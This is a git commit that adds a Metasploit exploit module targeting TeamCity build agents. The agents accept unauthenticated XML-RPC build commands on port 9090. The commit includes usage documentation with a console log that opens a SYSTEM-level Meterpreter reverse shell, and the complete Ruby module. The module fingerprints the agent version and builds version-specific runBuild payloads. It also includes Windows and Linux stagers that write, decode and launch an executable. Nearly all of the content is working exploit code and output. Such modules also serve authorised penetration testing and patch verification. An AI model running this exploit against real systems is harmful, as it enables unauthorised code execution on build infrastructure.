Add exploit module for TeamCity Agent XMLRPC

GSoC/Meterpreter_Web_Console
Dylan Pindur 2018-08-28 16:35:17 +08:00
parent 682b0863be
commit 11d9b44922
No known key found for this signature in database
GPG Key ID: 16ECFF6E48A63236
2 changed files with 777 additions and 0 deletions

View File

@ -0,0 +1,60 @@
## Description
This module allows remote code execution on TeamCity Agents configured to use bidirectional communication via xml-rpc. In bidirectional mode the TeamCity server pushes build commands to the Build Agents over port TCP/9090 without requiring authentication. Up until version 10 this was the default configuration. This module supports TeamCity agents from version 6.0 onwards.
## Vulnerable Application
This module has been tested successfully with the following TeamCity Agent versions
* TeamCity 6.0
* TeamCity 6.5
* TeamCity 7.0
* TeamCity 8.0
* TeamCity 9.0
* TeamCity 10.0
* TeamCity 2017
* TeamCity 2018
## Verification Steps
1. `msfconsole`
2. `use exploit/multi/misc/teamcity_agent_xmlrpc_exec`
3. `set RHOSTS <rhost>`
4. `set payload <payload>`
5. `run`
## Options
**RPORT**
Which port the TeamCity Agent is listening on (default: 9090)
**CMD**
If specified the module will run the specified command instead of executing the payload
## Scenarios
### Windows Server 2012 R2 (x64) with TeamCity Agent 2018.1
```
msf5 > use exploit/multi/misc/teamcity_agent_xmlrpc_exec
msf5 exploit(multi/misc/teamcity_agent_xmlrpc_exec) > set RHOSTS 172.16.198.149
RHOSTS => 172.16.198.149
msf5 exploit(multi/misc/teamcity_agent_xmlrpc_exec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/misc/teamcity_agent_xmlrpc_exec) > set LHOST eth0
LHOST => eth0
msf5 exploit(multi/misc/teamcity_agent_xmlrpc_exec) > run
[*] Started reverse TCP handler on 172.16.198.150:4444
[*] Found TeamCity Agent running build version 58245
[*] Constructing Windows payload
[*] Found compatible build config for TeamCity build 58245
[*] Successfully sent build configuration
[*] Sending stage (179779 bytes) to 172.16.198.149
[*] Meterpreter session 1 opened (172.16.198.150:4444 -> 172.16.198.149:49178) at 2018-10-03 17:21:12 +0800
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

View File

@ -0,0 +1,717 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'TeamCity Agent XML-RPC Command Execution',
'Description' => %q(
This module allows remote code execution on TeamCity Agents configured
to use bidirectional communication via xml-rpc. In bidirectional mode
the TeamCity server pushes build commands to the Build Agents over port
TCP/9090 without requiring authentication. Up until version 10 this was
the default configuration. This module supports TeamCity agents from
version 6.0 onwards.
),
'Author' => ['Dylan Pindur <dylanpindur@gmail.com>'],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://www.tenable.com/plugins/nessus/94675']
],
'Platform' => %w[linux win],
'Targets' =>
[
['Windows', { 'Platform' => 'win' }],
['Linux', { 'Platform' => 'linux' }]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 14 2015'))
deregister_options('SRVHOST', 'SRVPORT', 'SSL', 'SSLCert', 'URIPATH', 'VHOST')
register_options(
[
Opt::RPORT(9090),
OptString.new(
'CMD',
[false, 'Execute this command instead of using command stager', '']
)
]
)
end
def check
version = determine_version
if !version.nil? && version >= 15772
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end
def exploit
version = determine_version
if version.nil?
fail_with(Failure::NoTarget, 'Could not determine TeamCity Agent version')
else
print_status("Found TeamCity Agent running build version #{version}")
end
unless datastore['CMD'].blank?
print_status('Executing user supplied command')
execute_command(datastore['CMD'], version)
return
end
case target['Platform']
when 'linux'
linux_stager(version)
when 'win'
windows_stager(version)
else
fail_with(Failure::NoTarget, 'Unsupported target platform!')
end
end
def windows_stager(version)
print_status('Constructing Windows payload')
exe_payload = generate_payload_exe
exe_name = Rex::Text.rand_text_alpha(8)
b64_exe_payload = Rex::Text.encode_base64(exe_payload)
# Split payload into chunks so we can echo it into a file
split_payload = b64_exe_payload.scan(/.{1,2000}/m)
commands = split_payload.map { |x| "echo|set /p=\"#{x}\" >> #{exe_name}.b64" }
echo_file = commands.join("\n")
script_content = %(
#{echo_file}
certutil -decode #{exe_name}.b64 #{exe_name}.exe
start "" %cd%\\#{exe_name}.exe
)
xml_payload = build_request(script_content.strip!, version)
if !xml_payload.nil?
print_status("Found compatible build config for TeamCity build #{version}")
send_request(xml_payload)
else
fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}")
end
end
def linux_stager(version)
print_status('Constructing Linux payload')
exe_payload = generate_payload_exe
exe_name = Rex::Text.rand_text_alpha(8)
exe_payload_encoded = Rex::Text.to_hex(exe_payload)
script_content = %(
echo -n -e '#{exe_payload_encoded}' > #{exe_name}
chmod +x #{exe_name}
./#{exe_name} &amp;
)
xml_payload = build_request(script_content.strip!, version)
if !xml_payload.nil?
print_status("Found compatible build config for TeamCity build #{version}")
send_request(xml_payload)
else
fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}")
end
end
def execute_command(cmd, version)
xml_payload = build_request(cmd, version)
if !xml_payload.nil?
print_status("Found compatible build config for TeamCity build #{version}")
send_request(xml_payload)
else
fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}")
end
end
def determine_version
xml_payload = %(
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>buildAgent.getVersion</methodName>
<params></params>
</methodCall>
)
res = send_request_cgi(
{
'uri' => '/',
'method' => 'POST',
'ctype' => 'text/xml',
'data' => xml_payload.strip!
},
10
)
if !res.nil? && res.code == 200
xml_doc = res.get_xml_document
if xml_doc.errors.empty?
val = xml_doc.xpath('/methodResponse/params/param/value')
if val.length == 1
return val.text.to_i
end
end
end
return nil
end
def send_request(xml_payload)
res = send_request_cgi(
{
'uri' => '/',
'method' => 'POST',
'ctype' => 'text/xml',
'data' => xml_payload
},
10
)
if !res.nil? && res.code == 200
print_status("Successfully sent build configuration")
else
print_status("Failed to send build configuration")
end
end
def build_request(script_content, version)
case version
when 0..15771
return nil
when 15772..17794
return req_teamcity_6(script_content)
when 17795..21240
return req_teamcity_6_5(script_content)
when 21241..27401
return req_teamcity_7(script_content)
when 27402..32059
return req_teamcity_8(script_content)
when 32060..42001
return req_teamcity_9(script_content)
when 42002..46532
return req_teamcity_10(script_content)
else
return req_teamcity_2017(script_content)
end
end
def req_teamcity_2017(script_content)
build_code = Rex::Text.rand_text_alpha(8)
build_id = Rex::Text.rand_text_numeric(8)
xml_payload = %(
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>buildAgent.runBuild</methodName>
<params>
<param>
<value>
<![CDATA[
<AgentBuild>
<myBuildId>#{build_id}</myBuildId>
<myBuildTypeId>x</myBuildTypeId>
<myBuildTypeExternalId>x</myBuildTypeExternalId>
<myCheckoutType>ON_AGENT</myCheckoutType>
<myVcsSettingsHashForServerCheckout>x</myVcsSettingsHashForServerCheckout>
<myVcsSettingsHashForAgentCheckout>#{build_code}</myVcsSettingsHashForAgentCheckout>
<myVcsSettingsHashForManualCheckout>x</myVcsSettingsHashForManualCheckout>
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
<myServerParameters class="StringTreeMap">
<k>system.build.number</k>
<v>0</v>
</myServerParameters>
<myAccessCode/>
<myArtifactDependencies/>
<myArtifactPaths/>
<myArtifactStorageSettings/>
<myBuildFeatures/>
<myBuildTypeOptions/>
<myFullCheckoutReasons/>
<myParametersSpecs class="StringTreeMap"/>
<myPersonalVcsChanges/>
<myUserBuildParameters/>
<myVcsChanges/>
<myVcsRootCurrentRevisions class="tree-map"/>
<myVcsRootEntries/>
<myVcsRootOldRevisions class="tree-map"/>
<myBuildRunners>
<jetbrains.buildServer.agentServer.BuildRunnerData>
<myId>x</myId>
<myIsDisabled>false</myIsDisabled>
<myRunType>simpleRunner</myRunType>
<myRunnerName>x</myRunnerName>
<myChildren class="list"/>
<myServerParameters class="tree-map">
<entry>
<string>teamcity.build.step.name</string>
<string>x</string>
</entry>
</myServerParameters>
<myRunnerParameters class="tree-map">
<entry>
<string>script.content</string>
<string>#{script_content}</string>
</entry>
<entry>
<string>teamcity.step.mode</string>
<string>default</string>
</entry>
<entry>
<string>use.custom.script</string>
<string>true</string>
</entry>
</myRunnerParameters>
</jetbrains.buildServer.agentServer.BuildRunnerData>
</myBuildRunners>
</AgentBuild>
]]>
</value>
</param>
</params>
</methodCall>
)
return xml_payload.strip!
end
def req_teamcity_10(script_content)
build_code = Rex::Text.rand_text_alpha(8)
build_id = Rex::Text.rand_text_numeric(8)
xml_payload = %(
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>buildAgent.runBuild</methodName>
<params>
<param>
<value>
<![CDATA[
<AgentBuild>
<myBuildId>#{build_id}</myBuildId>
<myBuildTypeId>x</myBuildTypeId>
<myBuildTypeExternalId>x</myBuildTypeExternalId>
<myCheckoutType>ON_AGENT</myCheckoutType>
<myVcsSettingsHashForServerCheckout>x</myVcsSettingsHashForServerCheckout>
<myVcsSettingsHashForAgentCheckout>#{build_code}</myVcsSettingsHashForAgentCheckout>
<myVcsSettingsHashForManualCheckout>x</myVcsSettingsHashForManualCheckout>
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
<myServerParameters class="StringTreeMap">
<k>system.build.number</k>
<v>0</v>
</myServerParameters>
<myAccessCode/>
<myArtifactDependencies/>
<myArtifactPaths/>
<myBuildFeatures/>
<myBuildTypeOptions/>
<myFullCheckoutReasons/>
<myParametersSpecs class="StringTreeMap"/>
<myPersonalVcsChanges/>
<myUserBuildParameters/>
<myVcsChanges/>
<myVcsRootCurrentRevisions class="tree-map"/>
<myVcsRootEntries/>
<myVcsRootOldRevisions class="tree-map"/>
<myBuildRunners>
<jetbrains.buildServer.agentServer.BuildRunnerData>
<myId>x</myId>
<myIsDisabled>false</myIsDisabled>
<myRunType>simpleRunner</myRunType>
<myRunnerName>x</myRunnerName>
<myChildren class="list"/>
<myServerParameters class="tree-map">
<entry>
<string>teamcity.build.step.name</string>
<string>x</string>
</entry>
</myServerParameters>
<myRunnerParameters class="tree-map">
<entry>
<string>script.content</string>
<string>#{script_content}</string>
</entry>
<entry>
<string>teamcity.step.mode</string>
<string>default</string>
</entry>
<entry>
<string>use.custom.script</string>
<string>true</string>
</entry>
</myRunnerParameters>
</jetbrains.buildServer.agentServer.BuildRunnerData>
</myBuildRunners>
</AgentBuild>
]]>
</value>
</param>
</params>
</methodCall>
)
return xml_payload.strip!
end
def req_teamcity_9(script_content)
build_id = Rex::Text.rand_text_numeric(8)
xml_payload = %(
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>buildAgent.runBuild</methodName>
<params>
<param>
<value>
<![CDATA[
<AgentBuild>
<myBuildId>#{build_id}</myBuildId>
<myBuildTypeId>x</myBuildTypeId>
<myBuildTypeExternalId>x</myBuildTypeExternalId>
<myCheckoutType>ON_AGENT</myCheckoutType>
<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
<myServerParameters class="StringTreeMap">
<k>system.build.number</k>
<v>0</v>
</myServerParameters>
<myAccessCode/>
<myArtifactDependencies/>
<myArtifactPaths/>
<myBuildFeatures/>
<myBuildTypeOptions/>
<myFullCheckoutReasons/>
<myPersonalVcsChanges/>
<myUserBuildParameters/>
<myVcsChanges/>
<myVcsRootCurrentRevisions class="tree-map"/>
<myVcsRootEntries/>
<myVcsRootOldRevisions class="tree-map"/>
<myBuildRunners>
<jetbrains.buildServer.agentServer.BuildRunnerData>
<myId>x</myId>
<myIsDisabled>false</myIsDisabled>
<myRunType>simpleRunner</myRunType>
<myRunnerName>x</myRunnerName>
<myChildren class="list"/>
<myServerParameters class="tree-map">
<entry>
<string>teamcity.build.step.name</string>
<string>x</string>
</entry>
</myServerParameters>
<myRunnerParameters class="tree-map">
<entry>
<string>script.content</string>
<string>#{script_content}</string>
</entry>
<entry>
<string>teamcity.step.mode</string>
<string>default</string>
</entry>
<entry>
<string>use.custom.script</string>
<string>true</string>
</entry>
</myRunnerParameters>
</jetbrains.buildServer.agentServer.BuildRunnerData>
</myBuildRunners>
</AgentBuild>
]]>
</value>
</param>
</params>
</methodCall>
)
return xml_payload.strip!
end
def req_teamcity_8(script_content)
build_id = Rex::Text.rand_text_numeric(8)
xml_payload = %(
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>buildAgent.runBuild</methodName>
<params>
<param>
<value>
<![CDATA[
<AgentBuild>
<myBuildId>#{build_id}</myBuildId>
<myBuildTypeId>x</myBuildTypeId>
<myCheckoutType>ON_AGENT</myCheckoutType>
<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
<myServerParameters class="tree-map">
<entry>
<string>system.build.number</string>
<string>0</string>
</entry>
</myServerParameters>
<myAccessCode/>
<myArtifactDependencies/>
<myArtifactPaths/>
<myBuildTypeOptions/>
<myFullCheckoutReasons/>
<myPersonalVcsChanges/>
<myUserBuildParameters/>
<myVcsChanges/>
<myVcsRootCurrentRevisions class="tree-map"/>
<myVcsRootEntries/>
<myVcsRootOldRevisions class="tree-map"/>
<myBuildRunners>
<jetbrains.buildServer.agentServer.BuildRunnerData>
<myId>x</myId>
<myIsDisabled>false</myIsDisabled>
<myRunType>simpleRunner</myRunType>
<myRunnerName>x</myRunnerName>
<myChildren class="list"/>
<myServerParameters class="tree-map">
<entry>
<string>teamcity.build.step.name</string>
<string>x</string>
</entry>
</myServerParameters>
<myRunnerParameters class="tree-map">
<entry>
<string>script.content</string>
<string>#{script_content}</string>
</entry>
<entry>
<string>teamcity.step.mode</string>
<string>default</string>
</entry>
<entry>
<string>use.custom.script</string>
<string>true</string>
</entry>
</myRunnerParameters>
</jetbrains.buildServer.agentServer.BuildRunnerData>
</myBuildRunners>
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
<myBuildFeatures/>
</AgentBuild>
]]>
</value>
</param>
</params>
</methodCall>
)
return xml_payload.strip!
end
def req_teamcity_7(script_content)
build_id = Rex::Text.rand_text_numeric(8)
xml_payload = %(
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>buildAgent.runBuild</methodName>
<params>
<param>
<value>
<![CDATA[
<AgentBuild>
<myBuildId>#{build_id}</myBuildId>
<myBuildTypeId>x</myBuildTypeId>
<myCheckoutType>ON_AGENT</myCheckoutType>
<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
<myServerParameters class="tree-map">
<no-comparator/>
<entry>
<string>system.build.number</string>
<string>0</string>
</entry>
</myServerParameters>
<myVcsRootOldRevisions class="tree-map">
<no-comparator/>
</myVcsRootOldRevisions>
<myVcsRootCurrentRevisions class="tree-map">
<no-comparator/>
</myVcsRootCurrentRevisions>
<myAccessCode/>
<myArtifactDependencies/>
<myArtifactPaths/>
<myBuildTypeOptions/>
<myFullCheckoutReasons/>
<myPersonalVcsChanges/>
<myUserBuildParameters/>
<myVcsChanges/>
<myVcsRootEntries/>
<myBuildRunners>
<jetbrains.buildServer.agentServer.BuildRunnerData>
<myRunType>simpleRunner</myRunType>
<myRunnerName>x</myRunnerName>
<myRunnerParameters class="tree-map">
<no-comparator/>
<entry>
<string>script.content</string>
<string>#{script_content}</string>
</entry>
<entry>
<string>teamcity.step.mode</string>
<string>default</string>
</entry>
<entry>
<string>use.custom.script</string>
<string>true</string>
</entry>
</myRunnerParameters>
<myServerParameters class="tree-map">
<no-comparator/>
<entry>
<string>teamcity.build.step.name</string>
<string>x</string>
</entry>
</myServerParameters>
</jetbrains.buildServer.agentServer.BuildRunnerData>
</myBuildRunners>
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
<myBuildFeatures/>
</AgentBuild>
]]>
</value>
</param>
</params>
</methodCall>
)
return xml_payload.strip!
end
def req_teamcity_6_5(script_content)
build_id = Rex::Text.rand_text_numeric(8)
xml_payload = %(
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>buildAgent.run</methodName>
<params>
<param>
<value>
<![CDATA[
<AgentBuild>
<myBuildId>#{build_id}</myBuildId>
<myBuildTypeId>x</myBuildTypeId>
<myPersonal>false</myPersonal>
<myCheckoutType>ON_AGENT</myCheckoutType>
<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
<myServerParameters class="tree-map">
<no-comparator/>
<entry>
<string>system.build.number</string>
<string>0</string>
</entry>
</myServerParameters>
<myVcsRootOldRevisions class="tree-map">
<no-comparator/>
</myVcsRootOldRevisions>
<myVcsRootCurrentRevisions class="tree-map">
<no-comparator/>
</myVcsRootCurrentRevisions>
<myAccessCode/>
<myArtifactDependencies/>
<myBuildTypeOptions/>
<myPersonalVcsChanges/>
<myUserBuildParameters/>
<myVcsChanges/>
<myVcsRootEntries/>
<myBuildRunners>
<jetbrains.buildServer.agentServer.BuildRunnerData>
<myRunType>simpleRunner</myRunType>
<myRunnerName>x</myRunnerName>
<myRunnerParameters class="tree-map">
<no-comparator/>
<entry>
<string>script.content</string>
<string>#{script_content}</string>
</entry>
<entry>
<string>use.custom.script</string>
<string>true</string>
</entry>
</myRunnerParameters>
<myServerParameters class="tree-map">
<no-comparator/>
</myServerParameters>
</jetbrains.buildServer.agentServer.BuildRunnerData>
</myBuildRunners>
</AgentBuild>
]]>
</value>
</param>
</params>
</methodCall>
)
return xml_payload.strip!
end
def req_teamcity_6(script_content)
build_id = Rex::Text.rand_text_numeric(8)
xml_payload = %(
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>buildAgent.run</methodName>
<params>
<param>
<value>
<![CDATA[
<AgentBuild>
<myBuildId>#{build_id}</myBuildId>
<myBuildTypeId>x</myBuildTypeId>
<myAccessCode></myAccessCode>
<myPersonal>false</myPersonal>
<myCheckoutType>ON_AGENT</myCheckoutType>
<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
<myServerParameters class="tree-map">
<no-comparator/>
<entry>
<string>system.build.number</string>
<string>0</string>
</entry>
</myServerParameters>
<myVcsRootOldRevisions class="tree-map">
<no-comparator/>
</myVcsRootOldRevisions>
<myVcsRootCurrentRevisions class="tree-map">
<no-comparator/>
</myVcsRootCurrentRevisions>
<myArtifactDependencies/>
<myBuildTypeOptions/>
<myPersonalVcsChanges/>
<myUserBuildParameters/>
<myVcsChanges/>
<myVcsRootEntries/>
<myBuildRunners>
<jetbrains.buildServer.agentServer.BuildRunnerData>
<myRunType>simpleRunner</myRunType>
<myServerParameters class="tree-map">
<no-comparator/>
</myServerParameters>
<myRunnerParameters class="tree-map">
<no-comparator/>
<entry>
<string>script.content</string>
<string>#{script_content}</string>
</entry>
<entry>
<string>use.custom.script</string>
<string>true</string>
</entry>
</myRunnerParameters>
</jetbrains.buildServer.agentServer.BuildRunnerData>
</myBuildRunners>
</AgentBuild>
]]>
</value>
</param>
</params>
</methodCall>
)
return xml_payload.strip!
end
end